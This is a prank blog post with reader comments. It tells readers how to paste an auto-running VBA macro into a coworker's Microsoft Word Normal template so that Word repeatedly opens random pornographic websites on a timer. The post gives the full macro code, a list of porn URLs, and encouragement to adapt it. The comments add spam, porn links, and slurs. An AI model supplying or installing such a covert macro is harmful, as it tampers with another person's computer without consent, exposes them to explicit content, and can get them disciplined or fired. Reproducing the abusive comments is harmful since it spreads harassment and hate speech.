• Sharebar

Ok I don’t know if I’ve gone to far this time, but depending on where you work this could be really funny or get you or someone else fired. With that being said, I do not and will not recommend you do this at work…but you can…

Now to the prank.

This office prank involves two major things. One a list of porn sites. Two Microsoft Word. What the office prank will do is once word is open it will use a random timer, which you can change to be any interval you want. When the timer goes off it will then go through a list of porn sites (10 for this example). Picking a site randomly it will then open that porn site on their computer. Leaving them embarrassed and you laughing… So how do you do it? (Because you shouldn’t)

Step 1: Open Microsoft Word

word.jpg

Step 2: Open your vba editor ( press Alt + 11)

vba.jpg

Step 3: Copy This Code into your Normal Template ( It’s under NORMAL)

Sub AutoExec()
counter = CStr(Int((2 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="pron"
End Sub


Sub pron()
Dim pronlist(1 To 10) As String
Dim count As Integer
pronlist(1) = "http://www.sex.com"
pronlist(2) = "http://www.naked.com"
pronlist(3) = "http://www.euroteensluts.com"
pronlist(4) = "http://www.anal.com"
pronlist(5) = "http://porno.com/"
pronlist(6) = "http://www.pornsite.com"
pronlist(7) = "http://www.milf.com"
pronlist(8) = "http://www.playboy.com"
pronlist(9) = "http://www.just18.com"
pronlist(10) = "http://www.bigboobs.com"
counter = CStr(Int((10 - 1 + 1) * Rnd + 1))
ActiveDocument.FollowHyperlink Address:=pronlist(counter), NewWindow:=True
Call AutoExec
End Sub

Step 4: Save

Step 5: Get Fired

If this prank goes off successfully every single time this person opens up word it will plop up random porn sites. When I made this prank I just grab the most generic names I could think of. You can really use any website you want, porn or not. Play around with the code and if you have any questions leave a comment.

  16 Responses to “Porn At Work Prank!”

  1. All the people who have tried this have been fired so they can’t afford the internet to post a comment

  2. My farts stink.

  3. how do u make this stop?

  4. So I tried it at home first.
    Bad idea!!!
    How do you stop it?

  5. AmpfVs hi! hice site!

  6. code isn’t working for me

  7. Maybe one of those sites should be changed to sourmath.com so that when the open word, they just get onto a web page they cant close that’s got gay porn.

  8. Great article, I’m an avid reader of your blog, keep on writing these great posts, and I’ll be a regular for a long time.

  9. Seit langen bin ich ein Stammleser Deiner Postings, welche Du hier textest. Mich begeistert Dein Wissen den Du meist in Deine Kommentare einfließen lässt. Nun hab ich eine Frage an Dich, wo kann ich mir mehr Wissen zum Bereich in Erfahrung bringen? Hast Du eine Homepage gesehen, die mich weiter bringt?

  10. suck my balls? bithc, fuck u, u got no life niga, i see whatt the problem is u want cock in your mouth, since i am nto gay i cant give u that .Watch porn video visit hotadultvideo123.com.

  11. free download movies porn

  12. Can I just say what a reduction to search out someone who really knows what theyre speaking about on the internet. You definitely know find out how to bring a difficulty to light and make it important. More folks need to read this and perceive this aspect of the story. I cant believe youre no more standard because you undoubtedly have the gift.

 Leave a Reply

(required)

(required)

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

   
© 2011 Computer Pranks Central Suffusion theme by Sayontan Sinha